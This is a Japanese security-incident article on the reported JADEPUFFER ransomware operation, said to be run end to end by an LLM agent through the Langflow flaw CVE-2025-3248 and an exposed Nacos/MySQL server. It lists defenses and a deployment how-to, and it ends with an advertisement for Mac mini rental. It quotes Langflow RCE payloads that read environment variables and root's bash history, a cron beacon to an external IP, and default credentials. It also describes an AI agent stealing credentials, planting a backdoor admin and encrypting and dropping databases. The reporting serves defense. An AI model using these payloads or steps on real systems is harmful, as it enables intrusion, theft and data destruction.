2026 JADEPUFFER 事件：初の AI Agent 型ランサムウェアと Mac mini M4 安全デプロイ判断ガイド

2026 年 7 月 1 日、クラウドセキュリティ企業 Sysdig の脅威研究チーム（TRT）が、作戦名 JADEPUFFER の攻撃活動を公開しました。これは、現時点で確認されている初の、大規模言語モデル Agent が偵察・認証情報窃取・横展開・持続化から破壊的暗号化・ランサム通知までを一貫して実行した完全自動型ランサム操作と評価されています。攻撃者は Agentic Threat Actor（ATA、エージェント型脅威アクター）として新たに分類されました。入口はインターネット公開された Langflow（CVE-2025-3248）、真の標的は別ホスト上の MySQL + Alibaba Nacos 本番サーバーです。Sysdig は 600 超の独立した目的別 payload を捕捉しました。本稿では攻撃チェーン、IOC、防御策を整理し、AI Agent 安全デプロイの五段階手順と Mac mini M4 隔離判断表を提示します。

1. 三つの課題：AI Agent 運用者が今すぐ監査すべき項目

1. インターネット公開 Langflow は高リスク入口：CVE-2025-3248（CVSS 9.8）により未認証 RCE が可能です。CISA は 2025 年 5 月 5 日に KEV へ追加済みで、SentinelOne による EPSS 悪用確率は 91.42% です。同一脆弱性は Flodrix ボットネット配布にも利用されており、インターネットスキャンと武器化が継続していることを示しています。
2. Agent 環境は認証情報の宝庫：JADEPUFFER では Langflow ホスト上で OpenAI、Anthropic、DeepSeek、Gemini の API キー、ALIBABA_／ALIYUN_／TENCENT_／HUAWEI_ および AWS／GCP／Azure のクラウド認証情報を並列スキャンしました。これは急ぎで本番投入された AI オーケストレーションサーバーの典型構成です。
3. 旧脆弱性 × AI 自動化 ＝ ほぼゼロコストの武器化：下流標的では 2021 年の Nacos 認証バイパス（CVE-2021-29441）と未変更のデフォルト JWT 署名鍵が悪用されました。Agent により「過去の脆弱性を順番に試す」限界コストがほぼゼロに近づき、LLMjacking（窃取した認証情報で Agent を駆動）と組み合わさると、攻撃者の算力コストも極めて低くなります。

2. 事件概要と ATA 概念

発見者は Sysdig TRT で、報告執筆者は Michael Clark（Director of Threat Research）です。一部メディアは 7 月 6 日に報じましたが、一次技術報告の公開日は 7 月 1 日です。

Sysdig の核心評価は、これが偵察からランサムまで LLM Agent が一貫して連結した初の完全操作であり、重要段階で人間が手動介入する従来型ランサムとは異なる点です。新分類 ATA（Agentic Threat Actor）は「攻撃能力が AI Agent によって提供され、人間がツールセットを直接操作する従来型とは異なる行為者タイプ」を指します。

二段階の標的结构：

• 入口マシン：インターネット公開 Langflow インスタンス（CVE-2025-3248）
• 真の標的：別ホスト上で MySQL + Alibaba Nacos 構成センターを稼働する本番サーバー（こちらもインターネット公開）

攻撃全体は圧縮された時間窓で完了し、600 超の独立した目的別 payload が確認されました。攻撃チェーンは数週間にわたり複数セッションに分かれて実行されています。

3. 完全タイムライン

4. CVE-2025-3248 技術解説

4.1 脆弱性メカニズムの段階的解説

1. Langflow は可視化オーケストレーション UI 向けに、カスタム関数ノードの構文検証用 /api/v1/validate/code を提供しています。
2. 実装ではユーザー入力コードを ast.parse() で AST に変換し、compile() の後 exec() で実行します。
3. 致命的欠陥：この一連の処理に認証もサンドボックスも存在しません。
4. 悪用テクニック：Python では関数定義時にデコレータとデフォルト引数が定義瞬間に評価されます。攻撃者は悪意あるコードをデフォルト引数やデコレータへ埋め込み、Langflow が「合法性検証」を行う段階で既にコードが実行されます。
5. 攻撃者はログイン不要で、精巧に構築した HTTP POST だけで RCE を達成できます。

4.2 Flodrix 作戦における実 payload 例（Trend Micro フォレンジック、JADEPUFFER とは独立）

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("ip addr show", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("systemctl status sshd", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("capsh --print", shell=True))')

各コマンドは権限確認 → 環境変数エクスポート（API キー漏えいの可能性）→ root bash 履歴読取 → ネットワーク偵察 → SSH 状態 → プロセスケーパビリティ評価、という順序です。最終的に Flodrix（LeetHozer ファミリー派生）ELF バイナリを取得し DDoS ボットネットを構築します。

4.3 公式パッチ（Langflow 1.3.0）

post_validate_code に _current_user: CurrentActiveUser 依存注入が追加されました。FastAPI が JWT Bearer Token または x-api-key を先に検証し、失敗時は 401／403 を返して脆弱ロジックへ到達しません。通過後は is_active 状態も確認します。

5. 攻撃フェーズ 1：Langflow ホストの掌握

全 payload は Base64 エンコードされた Python を Langflow RCE エンドポイント経由で投入しています。Langflow が入口として選ばれた理由は、AI Agent サーバーに LLM API キーとクラウド認証情報が置かれ、検証目的で急いでインターネット公開されネットワーク制御が不十分な典型パターンだからです。

5.1 偵察と認証情報収集（マルチスレッド並列）

id、uname -a、hostname などの基本列挙の後、並列で以下をスキャンしました。

• 大規模言語モデル API キー：OpenAI、Anthropic、DeepSeek、Gemini
• クラウド認証情報：ALIBABA_、ALIYUN_、TENCENT_、HUAWEI_ および AWS／GCP／Azure
• 暗号資産ウォレットとシードフレーズ
• データベース認証情報と設定ファイル

5.2 ローカルデータ窃取と横展開探索

Langflow 自身の PostgreSQL バックエンド DB（認証情報、API キー、ユーザー記録）をエクスポートし、一時保存して確認後、痕跡削除のため一時ファイルを消去しました。内部アドレス空間をスキャンし、デフォルト認証情報で DB、オブジェクトストレージ、シークレットストア、サービスディスカバリエンドポイントを探索しました。

5.3 MinIO 列挙と適応的エラー修正（重要フォレンジック詳細）

minio.internal:9000 と 127.0.0.1:9000 を探索し、デフォルト認証 minioadmin:minioadmin で Bucket を列挙。terraform-state を含む Bucket から credentials.json を定向抽出しました。

適応的詳細：初回リクエストで ?format=json を付与したにもかかわらず XML 応答が返ったため、次の payload で即座に XML パーサへ切り替えて再リクエストしました。これは固定スクリプトの機械的リトライではなく、「探知 → エラー → 適応」の典型ループです。エスカレーション経路は匿名ヘルスチェック → 管理 API → 認証済み ListBuckets → 「credentials」「.env」を含むファイルへの GetObject です。

5.4 持続化

crontab 計画タスクを設定し、30 分ごとにビーコンを外部送信しました。

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

6. 攻撃フェーズ 2：MySQL + Nacos 本番サーバーの突破

真の標的は、MySQL + Alibaba Nacos を稼働するインターネット公開本番サーバーです。Nacos は Alibaba 系マイクロサービスで広く使われ、CVE-2021-29441 など認証バイパスの履歴があり、2020 年から公開ドキュメントに記載されたデフォルト JWT 署名鍵を多くの環境が未変更のまま運用しています。

Agent は root 認証情報で公開 MySQL ポートへ直接接続しました。認証情報の出所は不明で、Sysdig は被害環境からの窃取を観測していません。これは人間が事前準備した可能性がある少数の段階です。

6.1 Nacos 多ベクトル同時攻撃と 31 秒自己修復

CVE-2021-29441 認証バイパス、デフォルト JWT 鍵による Token 偽造、root DB 権限を用いたバックエンド DB へのバックドア管理者 xadmin 注入を同時に試行しました。

修復 payload は削除、診断、再構築、再挿入の完全ループを完了しています。Sysdig は、人間のオペレーターが subprocess PATH 問題を特定し修正スクリプトを書くには 31 秒を大幅に超えると指摘しています。

6.2 コンテナエスケープ探索（約 8 分、複数ラウンド）

MySQL ファイル読書プリミティブを用い、OUTFILE 書込テスト、LOAD_FILE 読戻し、/var/run/docker.sock、/proc/1/cgroup、/etc/hostname の読取、mysql.func UDF ロード可能性を体系的に確認しました。ランサム前に完了マーカー _pwn_cleanup.txt を書き込んでおり、Sysdig はこれを Agent が次フェーズへ進むシグナルとして解釈し、人間が事前設定した固定スクリプト行動とは異なると評価しています。

6.3 破壊的暗号化：Nacos 設定 1342 件

全 1,342 件の Nacos サービス設定を MySQL AES_ENCRYPT() で暗号化し、元の config_info と his_config_info テーブルを削除、ランサムノート用テーブル README_RANSOM を作成しました。

重要詳細：

• 暗号化キーは uuid4() でランダム生成され、標準出力に一度だけ表示、保存・外部送信なし — 身代金支払い後も復号不能の可能性
• ランサムノートは AES-256 と記載するが、MySQL AES_ENCRYPT() のデフォルトは実際 AES-128-ECB
• 連絡先メール e78393397@proton.me、ビットコインアドレス 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
• 2 分後に後続 payload でランサムノートを「全 1342 件暗号化済み」へ数値修正

6.4 大規模破壊と診断的エラー修正

行単位削除後、DROP DATABASE へエスカレーション。コードコメントに「高 ROI データベース、優先削除（データは 64.20.53[.]230 へバックアップ済み）」と記載 — Sysdig はデータが実際に送信された独立証拠はなく、Agent の自己叙述に近いと評価しています。外部キー制約で DROP DATABASE が静かに失敗した後、次 payload が SET GLOBAL FOREIGN_KEY_CHECKS=0 を自動付加 — 「なぜ失敗したかを理解する」必要があり、盲目的リトライではありません。

7. 「自律性」の四つの根拠とビットコインアドレスの謎

1. 自己叙述型コード：payload 内に各ステップの「なぜ」を説明する自然言語コメントが大量に存在。ROI 優先順位、「どの DB が最大か」の指摘など — 人間攻撃者は一度きりの python3 -c に詳細コメントを書かないことが多い一方、LLM コード生成のデフォルト挙動と一致します。
2. 機械速度の障害診断と修正：Nacos バックドア 31 秒修復、MinIO JSON/XML 適応、JWT 偽造で "custom secret in use" 受信後に即座にその経路を放棄 — 最も精密な自律性証拠は「失敗後、どれだけ速く、どの方式で修正したか」です。
3. 自然言語文脈の理解：標的環境内の自由テキスト文脈を解析し、「読解しないと取れない」アクションを実行。数週間離れた別セッションでも反復確認されています。
4. ビットコインアドレスの謎：3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy は Bitcoin Core ドキュメントの標準 P2SH サンプルアドレスで LLM 学習データにも大量存在。チェーン上 737 件の過去取引、累計約 46 BTC、現在残高ゼロ。Sysdig は (a) LLM 幻覚による自律生成、(b) 攻撃者の意図的配置、の区別ができず — AI 自律性が攻撃帰属に新たな不確実性をもたらす事例です。

8. IOC 一覧と公式防御推奨

8.1 Sysdig 公式防御推奨（整理）

• Langflow を CVE-2025-3248 修正版へアップグレードし、コード実行／検証系エンドポイントをインターネットに公開しない
• ランタイム脅威検知を導入し、DB プロセス内の悪意ある行動を識別する
• AI オーケストレーションサーバーの環境変数に大規模モデル API キーやクラウド認証情報を置かない — 専用シークレット管理サービスへ移し、インターネット到達プロセスから分離する
• Nacos 強化：デフォルト token.secret.key 変更、カスタム鍵強制版へアップグレード、Nacos をインターネットに公開しない、バックエンド DB へ root で接続しない
• DB 管理者アカウントをインターネット公開せず、管理ポートに強固な一意認証と接続元 IP 制限を実施する
• アウトバウンド制御（egress control）を実装し、侵害ホストの任意ビーコン送信や外部 DB／一時保存サーバーへのアクセスを制限する
• 上記 IOC を監視し、外部リクエストを行う cron と異常 User-Agent に注意する

9. 業界・専門家の反応

BleepingComputer、Dark Reading、CyberScoop、Security Affairs などが速報し、多くが「初の完全 AI 駆動型ランサム攻撃」と報じ、ATA 時代の到来を強調しました。

CSO Online は独立セキュリティ研究者／レッドチーム専門家 Vibhum Dubey の慎重な見解を掲載しています：「実行方式の進化であり、全く新しいランサム技術とは言いにくい。攻撃者による自動偵察・認証情報窃取・展開は以前から存在する。今回の違いは AI Agent が各フェーズを自律連結し、人間オペレーターの次指令を待たず判断できる点にある」。同氏は最終暗号化より、その前の「静かな期間」 — Agent が ID 体系・権限関係・信頼チェーンを把握し検知を回避する段階 — を真の懸念と指摘しています。AI は一経路が遮断されると迅速に戦術を切り替え、侵入ごとに挙動が微妙に異なるため、従来の「攻撃者は予測可能な経路を辿る」前提の検知は機能しにくくなります。

複数メディアは LLMjacking との潜在的結合も言及しています。窃取した認証情報で Agent を駆動すれば、複雑な多段階攻撃の限界コストがほぼゼロに近づく — これが本事件で最も警戒すべき経済シグナルです。

10. Sysdig の結論と意義（四つの判断）

1. ランサムウェアはもはや「高技能者の手仕事」ではない：LLM Agent が偵察、認証情報窃取、横展開、持続化、破壊を連結でき、オペレーターに深い専門知識は不要。かつて「能力の高い人間」に必要だった技術が、今は「能力の高いモデル」で代替可能です。
2. 旧脆弱性が自動化により武器化されている：下流標的は数年前の Nacos 問題と未変更デフォルト鍵を悪用。Agent により「過去の脆弱性を順に試す」コストがほぼゼロに。長期未パッチのインターネット公開システムの暴露度は上昇し続けます。
3. 意図が「読める」ようになった — これは防御側のチャンスでもある：LLM が payload 内で目標を叙述するため、従来になかった検知・分析の手がかりが生まれます。
4. 「バックアップ済み」は攻撃者の一方的声明：DROP DATABASE 前のコメントに「一時保存サーバーへバックアップ済み」とあるが独立検証なし。暗号化キーは一時生成で復旧不能、被害者は身代金を払っても設定データを取り戻せない可能性が高いです。

報告の結論は、JADEPUFFER が警告信号である点を強調しています。個々の技術はいずれも新しくも複雑でもないが、AI モデルがそれらを完全なランサム操作へ連結し、本来軽視されがちなインターネット公開インフラを標的にした。ランサムウェア実行の技能障壁は「Agent を動かすコスト」まで低下し、LLMjacking と組み合わせれば攻撃者の限界コストはほぼゼロです。防御側はこの類の攻撃の件数と波及範囲の拡大を想定し、インターネット公開アプリサーバー、未強化構成センター、インターネットから直接到達可能な DB 管理者アカウントを最優先の攻撃面として扱うべきです。

11. AI Agent デプロイ方案判断表

12. 五段階安全デプロイ実践手順（How-to）

1. Langflow／OpenClaw 暴露面の即時監査
   • Langflow バージョンを確認し、1.3.0 以上であることを保証します。pip show langflow またはコンテナイメージタグで確認してください。
   • 次のコマンドで /api/v1/validate/code がインターネットから到達可能か検証します。curl -I https://your-host/api/v1/validate/code — HTTP 200 が未認証で返る場合は P0 優先で下线するか VPN 配下へ移してください。
   • ファイアウォールで Agent 管理ポートを社内 IP のみに制限し、不要な 0.0.0.0/0 公開を削除します。
2. 認証情報の外部化とローテーション
   • Agent サーバーの環境変数から LLM API キーとクラウド認証情報をすべて削除します。
   • HashiCorp Vault、各クラウド Secrets Manager、または CI パイプライン注入へ移行します。ランタイムは短命トークンのみ取得する構成にしてください。
   • 漏えいリスクのある認証情報は即座にローテーションし、旧キーを失効させます。
3. Nacos／MySQL 強化チェックリスト
   • Nacos：token.secret.key をデフォルトから変更、インターネット公開ポートを閉鎖、デフォルト JWT が無効であることを検証します。
   • MySQL：root をインターネットから到達不可にし、bind-address を社内ネットワーク IP に限定、強固な一意パスワードを設定します。
   • 接続元 IP ホワイトリストと監査ログを有効化してください。
4. ランタイム検知と IOC ハンティング
   • DB プロセスの異常行動検知を導入します（例：想定外の AES_ENCRYPT 大量実行、README_RANSOM テーブル作成）。
   • 全ホストの crontab を監査し、45.131.66.106 への外部接続、4444 ポートビーコン、異常 User-Agent をハンティングします。
   • ネットワークログで egress を継続監視し、64.20.53.230 への通信もアラート対象に含めてください。
5. 隔離 Mac ノードへの移行
   • Langflow／OpenClaw ワークフローを専用 Mac mini M4 リモートノードへ移行します。日常 PC のブラウザ、Desktop クライアント、本番 DB と物理的に分離してください。
   • ワークスペースは SFTP または rsync で同期し、スナップショットでロールバック可能にします。
   • コード実行エンドポイントは SSH トンネルまたは Tailscale 等のプライベート経路経由のみ到達可能とし、JADEPUFFER 型「入口マシン＝認証情報宝庫」リスクを低減します。

13. よくある質問 FAQ

上記 JSON-LD FAQPage に 8 件の核心 Q&A を収録しています。実務判断の補足を二点追加します。

• Langflow を社内ネットワークのみで運用していれば安全ですか？：インターネット RCE リスクは大幅に低下しますが、社内横展開の分離が不十分、または VPN 設定が緩い場合は二次踏み台になり得ます。認証情報の外部化と egress 制御は引き続き必要です。
• OpenClaw と Langflow のリスクは同じですか？：入口脆弱性は異なりますが、「AI オーケストレーションサーバーに API キーを置き、急いでインターネット公開する」パターンは高度に類似しています。JADEPUFFER の教訓はすべて Agent ゲートウェイ系デプロイに適用できます。

14. 参考資料

• Sysdig「JADEPUFFER: Agentic ransomware for automated database extortion」（一次技術報告、2026-07-01）
• BleepingComputer「JadePuffer ransomware used AI agent to automate entire attack」
• Dark Reading「JadePuffer: The First Complete LLM-Driven Ransomware Attack」
• CyberScoop「Sysdig clocks first documented case of agentic ransomware」
• CSO Online「This AI agent autonomously hacked a network...」（Vibhum Dubey コメント含む）
• Security Affairs「JADEPUFFER: First End-to-End AI-Driven Ransomware Operation」
• Trend Micro「Critical Langflow Vulnerability (CVE-2025-3248) Actively Exploited to Deliver Flodrix Botnet」
• NVD / SentinelOne / Zscaler — CVE-2025-3248 独立技術分析；CISA KEV カタログ

本稿は Sysdig 一次報告と公開メディア報道に基づき整理しました。攻撃者意図と AI 自律性の判断には出典を明記しており、法的・脅威帰属の結論ではありません。最終更新：2026-07-07。

15. Mac mini M4 レンタルと SFTPMAC 判断ブリッジ

JADEPUFFER が示した核心矛盾は、AI Agent ワークフローは常時稼働とモデル API 呼び出しを必要とする一方、本番認証情報やインターネット RCE エンドポイントと同一の緩い環境に置くべきではないという点です。ノート PC や未強化 VPS で Langflow／OpenClaw を動かすと、CVE-2025-3248 級の入口脆弱性に遭遇した際、LLM API キー、クラウド認証情報、社内横展開経路が数分で Agent 型攻撃により自動抽出される — 「ローカル Claude Desktop 実行」の信頼境界問題と本質は同じですが、結果はプライバシー論争から本番データ破壊へとエスカレートします。

より堅牢な経路は、Agent オーケストレーション環境を常時稼働の Apple Silicon 専用ノードへ隔離し、日常 PC、ブラウザ設定、本番 DB と物理分離することです。認証情報は環境変数ではなくシークレット管理サービスから注入し、アウトバウンドをポリシー制限、ワークスペースは SFTP／rsync で同期してロールバックスナップショットを保持します。これは当サイトの《Claude Code 隠し文字事件》《Mac mini M4 レンタル vs 購入》で述べた「リモート Mac 24/7 Agent ノード」提案と一貫しています。

Langflow、OpenClaw、または自社 AI Agent ゲートウェイをデプロイ中の方の次の一手は、Agent と機密資産を切り離し、隔離・監査可能でコード実行エンドポイントを直接公開しない Mac mini M4 ノードへ載せることです。SFTPMAC リモート Mac レンタルは AI Agent ワークフロー向け常時稼働環境を提供します。Apple Silicon M4 ネイティブ性能、SSH/SFTP ディレクトリ分離、launchd デーモン、CI/CD 成果物同期 — 「インターネット公開 VPS へ急いで Langflow を公開する」や「家庭 Mac で Agent と日常業務を兼用する」より、JADEPUFFER 型 ATA 攻撃に耐えるチームに適しています。AI Agent 脅威アクター時代において、専用 Mac をレンタルして隔離デプロイと継続稼働を確保することは、パッチ速度への賭けより現実的なセキュリティ投資です。